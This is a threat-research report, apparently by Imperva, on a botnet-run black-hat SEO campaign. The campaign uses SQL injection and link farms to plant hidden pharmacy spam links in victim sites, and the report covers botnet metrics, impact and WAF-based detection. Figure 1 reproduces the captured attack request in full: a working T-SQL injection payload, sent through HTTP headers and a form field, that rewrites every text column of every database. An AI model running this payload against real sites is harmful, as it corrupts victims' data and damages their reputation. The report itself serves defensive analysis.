Black Hat SEO: A Detailed Analysis of Illegal SEO Tactics
Executive Summary

Automated attacks and attacks based on abuse of application functionality are on the rise—leading to an SEO epidemic. The researchers at the Imperva Defense Center discovered a long-running, multi-vector search engine optimization (SEO) campaign in late March 2016 and decided to study it. This type of sophisticated botnet-driven SEO attack is very interesting because of the combined use of SQL injection and comment spam and the way the attack exploits vulnerabilities of third-party applications to illegally promote web commerce.

The key findings from the research show that hackers are exploiting thousands of websites to illegally increase the SEO rankings of websites such as adult sites and online pharmacies. The repercussions for victim websites are the negative impact SEO attacks can have on both user experience and brand value. In addition, vulnerable web applications can break or lose functionality during SEO attacks, and attacks leave target websites open to more serious threats.

Imperva Defense Center researchers found that long-running, multi-vector SEO campaigns are used by hackers for broader reach. The campaigns employed SQL injection (SQLi), HTML link injection, cross-site scripting (XSS) and comment spam for SEO campaign coordination. One such long-running botnet-driven SEO campaign started prior to November 2015 and was still active as of April 2016. Over 700 hosts (IP addresses) were in use by the botnet to launch automated SQLi and HTML link injection attacks, with over 800,000 malicious HTTP requests recorded (8M+ estimated based on sampling).

Mitigating the effects of SEO attacks on websites starts with a web application firewall (WAF) that can protect against the Top 10 Open Web Application Security Project (OWASP) threats. WAFs that have integrated IP reputation-based blocking is the best way to stay protected against illegal web commerce.

The following sections of this report will explore the Imperva Defense Center findings on SEO campaign automated attacks in more detail.

1. Introduction

Automatic attack tools (malicious bots) are deployed every second to achieve wide-spread attacks on websites. More sophisticated attackers employ a distributed network of bots to launch attacks. It is common to see many variations on the same attack vector comprise these campaigns—such as comment spam used to improve ranking of promoted sites. However, it is unusual to identify a multifaceted, long-term campaign run with coordination from the same botnet in the wild.

At first glance, the coordinated campaign described in this report appears non-malicious to the target application, but it has significant security implications to those who succumb to it. At the Imperva Defense Center we analyzed how the attack is executed, how it can undermine the security of web applications, and how it can be blocked. Tracking these types of attack campaigns requires correlating different attack vectors—which shows the level of complexity involved in modern attacks. We peeled back the layers to show that it is not the sporadic use of an automated tool by an individual at work here but a well-run outfit with plenty of infrastructure in place.

2. Search Engine Attacks

Search engines have a huge impact on how humans interface with the web. The manner in which search engine results are ranked and displayed to users has a significant monetary impact to websites. There are specialized SEO techniques that can be used to increase individual rankings. Some of these techniques include increasing content relevancy by linking/referring to other legitimate sites.

Some methods that affect search engines are legitimate, much like a paid advertising campaign in public media. Other methods exploit weaknesses of the web infrastructure to “unfairly” promote the visibility and popularity of specific sites by tricking search engine rankings.
In our Anatomy of Comment Spam Report¹, we described how attackers exploit web sites that enable users to post textual content—such as commenting on stories—by automatically adding many links to promoted sites, thus raising their relevancy ranking. In our Search Engine Poisoning Report² we investigated an attack that associated popular search terms with sites containing malware to affect and infect casual browsers. In a blog in 2014 the Defense Center team looked into shady outfits like Semalt³ that promised SEO and increased web traffic by using illegal spamming. Semalt was using malware to scale, and the Botnet was using more than 290,000 IP addresses from different locations across the globe.

In this report on the SEO epidemic, we will concentrate on a single SEO campaign that uses a combination of several modern attack tools and methods to increase page rankings. Its demonstrated success with persistent distributed ink injection and the resulting security implications lead us to suggest ways to thwart the attack.

3. Attack Goal

Web search engines show results that match a user’s query in an order based on an internal rank that they assign to each result. One of the significant parameters of the ranking algorithm is how many sites contain links to the website, and how important are the sites that contain such links in themselves. Therefore, there is a significant monetary value in having many respectable and popular sites link to a site which an attacker wants to promote.

In the attack we identified, the hacker employs a sophisticated mechanism to inject links to the sites the hacker wants to promote in as many sites as possible, bypassing the legitimate content of each site. This SEO campaign is persistent, lasting over many months, and promotes dozens of sites (presumably the paying customers of the attacker).

4. Campaign Overview

The attacker attempts to find and exploit SQL injection (SQLi) vulnerabilities in web applications to inject new content into dynamically generated pages. While SQLi attacks are usually associated with data extraction, this attack is all about data manipulation.

The SQLi attack vector injects HTML elements with links of promoted sites onto the vulnerable applications. These HTML links to the promoted site get inserted into every column of every record that might be displayed by the application.

When a search engine scans the compromised application, the injected links and the surrounding injected text are indexed appropriately. Hence the promoted sites benefit twice from this attack—by the sheer amount of references and by piggybacking on the search engine rank of the compromised web application.

Over a relatively short period the promoted sites gain high ranking on the target keywords causing them to appear among the top results when searched online.

There is an added twist to this story. There are two types of links that the campaign injects to victim sites: direct and indirect. Direct links are links that point to the promoted sites, while indirect links point to sites under partial control of the attacker who has prepared textual content in which links to the promoted sites are embedded.

We do want to emphasize that the attack does not intend any harm to the targeted website or its users. In fact, it can be viewed as attaching a parasite to an existing site, benefiting from implied popularity. However, successful attacks impact the target website rankings and have unintended security and usability implications for the victimized site, which we elaborate on in section 9.

¹ Anatomy of Comment Spam: http://www.imperva.com/download.asp?id=463
² Search Engine Poisoning: http://www.imperva.com/download.asp?id=100
³ Semalt botnet spam: https://www.incapsula.com/blog/semalt-botnet-spam.html
5. Attack Vector: Persistent Link Injection

The injected SQL query is a complex T-SQL statement written for MS SQL Server. It traverses all the non-system databases (i.e. it excludes the following databases: 'master', 'tempdb', 'model', and 'msdb') on the server. For each database it goes through all records of all the tables and updates the columns of type character to include some HTML text. Below, in Figure 1 we see a typical request taken from the attack. The injected SQL command is highlighted in blue.

<table>
<thead>
<tr>
<th>Occurred</th>
<th>Thu Mar 24 2016</th>
</tr>
</thead>
<tbody>
<tr>
<td>URL</td>
<td>/printers/mono-printers/workgroup-printers/detail.aspx</td>
</tr>
<tr>
<td>Method</td>
<td>GET</td>
</tr>
<tr>
<td>HTTP Headers</td>
<td></td>
</tr>
<tr>
<td>Accept</td>
<td>text/html,application/xhtml+xml,application/xml;q=0.9,<em>/</em>;q=0.8</td>
</tr>
<tr>
<td>Accept-Encoding</td>
<td>gzip, deflate, gzip, deflate</td>
</tr>
<tr>
<td>Host</td>
<td></td>
</tr>
<tr>
<td>Referer</td>
<td><a href="http://google.com">http://google.com</a>; declare @b cursor; declare @s varchar(8000); declare @w varchar(99); set @b = cursor for select db_name() union select name from sys.databases where (has_dbaccess(name)=0) and name not in ('master','tempdb','model','msdb','DB_NAME'); open @b; fetch next from @b into @w; while @@fetch_status=0 begin set @s=begin try use '+@w+; declare @c cursor; declare @d varchar(4000); set @c = cursor for select 'update [&quot;'+table_name+'&quot;] set [&quot;'+column_name+'&quot;]=[&quot;'+column_name+'&quot;]+case abs(checksum(newid()))%10 when 0 then '&quot;+&lt;div style=&quot;display:none&quot;&gt;thyroxine a href=&quot;<a href="http://www.carp-fishing.nl/page/Celebrex-100Mg.aspx%22%22%3E%22+case">http://www.carp-fishing.nl/page/Celebrex-100Mg.aspx&quot;&quot;&gt;&quot;+case</a> abs(checksum(newid()))%3 when 0 then &quot;&quot;read&quot;&quot; when 1 then &quot;&quot;prednisolone 10mg&quot;&quot; else &quot;&quot;read&quot;&quot; end +&quot;&quot;&lt;/a&gt; kamagra&lt;/div&gt;&quot;&quot; else &quot;&quot;&quot;&quot; end from syssindexes as i inner join syssobjects as o on i.id=o.id inner join information_schema.columns on o.name=table_name where(indid in (0,1)) and data_type like &quot;%varchar&quot; and(character_maximum_length in (2147483647,-1)); open @c; fetch next from @c into @d; while @@fetch_status=0 begin exec (@d); fetch next from @c into @d; end; close @c end try begin catch end catch'; exec (@s); fetch next from @b into @w; end; close @b--</td>
</tr>
<tr>
<td>User-Agent</td>
<td>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0; declare @b cursor; declare @s varchar(8000); declare @w varchar(99); set @b = cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)=0) and name not in ('master','tempdb','model','msdb','DB_NAME'); open @b; fetch next from @b into @w; while @@fetch_status=0 begin set @s=begin try use '+@w+; declare @c cursor; declare @d varchar(4000); set @c = cursor for select 'update [&quot;'+TABLE_NAME+'&quot;] set [&quot;'+COLUMN_NAME+'&quot;]=[&quot;'+COLUMN_NAME+'&quot;]+case ABS(CHECKSUM(NewId()))%10 when 0 then &quot;&quot;&lt;div style=&quot;display:none&quot;&gt;thyroxine a href=&quot;<a href="http://www.carp-fishing.nl/page/Celebrex-100Mg.aspx%22%22%3E%22+case">http://www.carp-fishing.nl/page/Celebrex-100Mg.aspx&quot;&quot;&gt;&quot;+case</a> ABS(CHECKSUM(NewId()))%3 when 0 then &quot;&quot;read&quot;&quot; when 1 then &quot;&quot;prednisolone 10mg&quot;&quot; else &quot;&quot;read&quot;&quot; end +&quot;&quot;&lt;/a&gt; kamagra&lt;/div&gt;&quot;&quot; else &quot;&quot;&quot;&quot; end from syssindexes AS i INNER JOIN syssobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like &quot;%varchar&quot; and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1)); open @c; fetch next from @c into @d; while @@FETCH_STATUS=0 begin exec (@d); fetch next from @c into @d; end; close @c end try begin catch end catch'; exec (@s); fetch next from @b into @w; end; close @b--</td>
</tr>
<tr>
<td>prodid</td>
<td>tcm:67-3575</td>
</tr>
<tr>
<td>tab</td>
<td>1; declare @b cursor; declare @s varchar(8000); declare @w varchar(99); set @b = cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)=0) and name not in ('master','tempdb','model','msdb','DB_NAME'); open @b; fetch next from @b into @w; while @@FETCH_STATUS=0 begin set @s=begin try use '+@w+; declare @c cursor; declare @d varchar(4000); set @c = cursor for select 'update [&quot;'+TABLE_NAME+'&quot;] set [&quot;'+COLUMN_NAME+'&quot;]=[&quot;'+COLUMN_NAME+'&quot;]+case ABS(CHECKSUM(NewId()))%10 when 0 then &quot;&quot;&lt;div style=&quot;display:none&quot;&gt;thyroxine a href=&quot;<a href="http://www.carp-fishing.nl/page/Celebrex-100Mg.aspx%22%22%3E%22+case">http://www.carp-fishing.nl/page/Celebrex-100Mg.aspx&quot;&quot;&gt;&quot;+case</a> ABS(CHECKSUM(NewId()))%3 when 0 then &quot;&quot;read&quot;&quot; when 1 then &quot;&quot;prednisolone 10mg&quot;&quot; else &quot;&quot;read&quot;&quot; end +&quot;&quot;&lt;/a&gt; kamagra&lt;/div&gt;&quot;&quot; else &quot;&quot;&quot;&quot; end from syssindexes AS i INNER JOIN syssobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like &quot;%varchar&quot; and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1)); open @c; fetch next from @c into @d; while @@FETCH_STATUS=0 begin exec (@d); fetch next from @c into @d; end; close @c end try begin catch end catch'; exec (@s); fetch next from @b into @w; end; close @b--</td>
</tr>
</tbody>
</table>

**Figure 1: Typical Attack Request**
The attacker attempts injecting the SQL vector through a number of standard HTTP headers (e.g. "User-agent" and "Referer") as well as application-specific form data. Zooming in on the injected HTML snippet, its content looks like this:

```html
<div style="display:none">thyroxine <a href="http://www.carp-fishing.nl/page/celebrex-100mg.aspx">prednisolone 10mg</a> kamagra</div>
```

This snippet is a common HTML link, with an additional display styling instruction to the browser. The styling “display:none” instructs the browser to hide the injected text in an attempt to be non-disruptive to human visitors of the compromised application. However, search engine bots that are unaware of the true visual form of the page are traversing injected links and text and take them into account in the indexing process. This technique allows the attacker to maintain the link (and hence the SEO campaign) longer.

6. Attack Infrastructure: The Link Farms

The attack campaign uses two different methods to get search engines to notice the promoted sites. Section 5 described the persistent injection of links into vulnerable sites. Some of the links directly reference a site promoted by the attacker, direct links, while some of the links reference what is known as link farms or indirect links. A link farm is a set of web pages created with the sole aim of linking to a target page in an attempt to improve the search engine ranking of that page.

In the latter case, the attacker manages to gain partial control over third-party sites that use a vulnerable content management system. In our sample set, the attacker targeted the blog part of the site, which is sometimes not even accessible from the site’s main page. The attacker uses a tool to post many blog entries there. Figure 2 shows an example of such a blog entry. The text is obviously gibberish that was automatically generated, but the important parts of the attack are the links (shown in blue) to the promoted sites.

![Figure 2: Automatically generated blog entry in a link farm](image)

The link injection detailed in Section 5 is also used to promote the link farms and make them, and indirectly the promoted sites, noticeable by search engines. The observed data shows more than 700 injected links. Of these, about 15% are direct links to promoted sites, while the rest are links to link farms. Individual direct links are injected for up to 9 days, while links to the farm links are usually injected for about 45 days. This discrepancy makes sense considering the importance of the link farms as an asset that promotes many sites with content directly controlled by the attacker.
7. Attack Platform: The Botnet

The attacker aims at infecting as many sites as possible with injected links. As such, executing the attack requires a lot of computing and networking resources, as well as bypassing defense methods that would identify and block massive unexpected traffic from a single host. The common way for hackers to achieve this is using a botnet.

A botnet is a virtual cloud infrastructure for hackers that commands a large set of compromised hosts on which the hacker runs a distributed attack tool. By using a centralized command and control utility, the hacker can coordinate a single attack from many hosts using the aggregated resource of all of them.

We have concluded that the attack uses a botnet as an execution platform since we see many different hosts (represented by different IP addresses) sending attack traffic to the same site concurrently, while each host concentrates on a distinct and similarly-sized subset of the site’s URLs. Also, each target site is attacked by all participating hosts during very specific time periods, and with a repeated schedule. Taking into account the unique attack vector, there is overwhelming evidence of a single attack perpetrated from many hosts with a single control and coordination point.

From November 2015 to March 2016 we have identified more than 733,000 HTTP requests that are part of this specific SEO campaign. In this period, we have identified 650 unique hosts that were or are still in use by this campaign, of which 223 were in use for at least ten days, and 157 for at least thirty days.

As shown in Figure 3: Botnet geographic distribution: 48% of the hosts in the botnet are located in the US. However, the botnet is geographically dispersed in 34 countries with relatively equal shares in countries like Brazil (BR), Germany (DE), France (FR), The Netherlands (NL), and United Kingdom (GB).
Looking at the scale of the attack traffic, we observed 500-1000 HTTP requests an hour, though there were some isolated incidents in which the traffic exceeded these numbers.

It is also interesting to see that the attack traffic is periodic—as shown in Figure 4: Observed attack volume over time. Apparently, the automated attack tool starts a new attack cycle every 12 hours. In each cycle it scans new as well as previously scanned sites for injection opportunities.

Figure 4: Observed attack volume over time
As you can see in Figure 5: Attacking hosts over time, the number of active hosts we see at any given time is typically around 60. Since these represent roughly 10% of the overall botnet membership we identified, we can extrapolate and assume the botnet is issuing about ten times the traffic we have observed in our limited dataset. The 12-hour cycle observed in the traffic volume chart is also apparent in the chart of concurrently active participating hosts.
Comparing the data from November 2015 to March 2016, the total activity per attack cycle and the number of hosts in the botnet are very similar, but the attack cycles are more frequent in the recent month.

The traffic each host issues as part of the attack is rather small, usually no more than 200 requests per hour, as shown in Figure 6: Attack activity per host over time. This low level of activity helps the botnet agent conceal its presence from the owner of the host where it resides.

![Figure 6: Attack activity per host over time](image)

8. Attack Success

Our observations naturally show the attack being detected and blocked. However, we employed a web search engine and identified thousands of sites that have been successfully infected with the injected links we picked from our data. See Figure 7: Observable attack effects on Google search results. In fact, some sites contain multiple injected links, which suggests that the attacker revisits sites known to be vulnerable repeatedly to include more promoted sites.

![Figure 7: Observable attack effects on Google search results](image)
The attack attempts to be non-disruptive to the infected site, as the attacker is not targeting the site users and prefers the links to be unnoticed by humans. However, due to the complex nature of HTML and the way it is displayed in the browser, the injection is sometimes very visible as you can see in Figure 8: Observable attack effects on a victim web site:

![Figure 8: Observable attack effects on a victim web site](image)

9. Implications to Web Applications Owners

At first glance, it may seem that owners of websites should not be concerned about these botnet-driven attacks. After all, a successful attack tries not to affect the injected site and its actual users, and doesn’t use server resources or hide itself in the user-observable web content.

However, this is not actually the case. While the injected HTML code attempts to remain hidden from the site users, due to the way websites are rendered by web browsers traces of the injected links are often observable. Showing injected links to adult sites and Viagra sites in the middle of a respectable site’s product catalog is intolerable to the site’s owners. Moreover, since the attack vector indiscriminately changes the contents of all textual fields within the database, an application may actually break and deliver bad results.

The ability of an attacker to launch this attack against an application implies that a similar vector can be used to turn the compromised application into a malware delivery platform. This malware delivery attack is known as a drive-by-download where all or specific visitors of the site get infected with malware. One recent example of such an attack was reported against an EC-Council application.

An additional long-term effect for compromised applications is a degradation of their search engine rankings as they become notorious for Black-Hat SEO. The negative impact of SEO rankings directly affects the business of enterprises that own these applications.

---

10. Detection and Mitigation

There are several methods that may be used to identify this link injection attack.

10.1 Identify the SQL injection

The attack gains access to the database tables through the application’s website. Identifying the attempts to access the database; for example, by using signatures matching SQL phrases used in the attack, obviously can be used to identify this and other SQLi attacks that are in progress.

10.2 Identify the HTML injection

The attack sends HTML snippets to the database. Signatures that identify HTML injections, and specifically link injections, can identify this SEO campaign, as well as stop other malicious attacks like Cross Site Scripting.

10.3 Identify the Botnet

As previously described, the attack is executed from a large set of hosts with a shared command and control mechanism. Using information collected from a community of security-conscious web owners about attacking hosts can be used to identify the IP addresses of such a widespread botnet. In fact, the distinct nature of this specific attack vector makes it easy to expose the hosts that are members of the botnet that sends it. This gathered intelligence enables reputation-based identification and blocking of all the malicious traffic the botnet sends, above and beyond this specific campaign.

11. Conclusion

For all those who think a web application firewall (WAF) is a nice-to-have, this botnet-based coordinated SEO campaign is another reminder that web application security cannot be ignored and needs sophisticated tools for an effective defense against sophisticated attacks. While the use of botnets for SEO may appear less harmful, with the victim site not being a malware distributor or launching DDoS attacks, the victim site is re-targeted many times and eventually hurts its own search engine rankings and results in loss of revenue and tarnishes brand image.

Automated attacks and attacks based on abuse of application functionality are on the rise—leading to an SEO epidemic. Having a basic WAF would help protect against SQL injection and comment spam. However, blocking sophisticated attacks requires a mechanism to collect large amounts of real attack data, analyze the data, and identify correlations between attack vectors and coordination between attack platforms. Such a mechanism can push actionable intelligence, such as botnet IPs or signatures tailored to new attacks, to a deployed WAF, making it a more comprehensive solution for securing web applications.

Hacker Intelligence Initiative Overview

The Imperva Hacker Intelligence Initiative goes inside the cyber-underground and provides analysis of the trending hacking techniques and interesting attack campaigns from the past month. A part of the Imperva Defense Center research arm, the Hacker Intelligence Initiative (HII), is focused on tracking the latest trends in attacks, web application security and cyber-crime business models with the goal of improving security controls and risk management processes.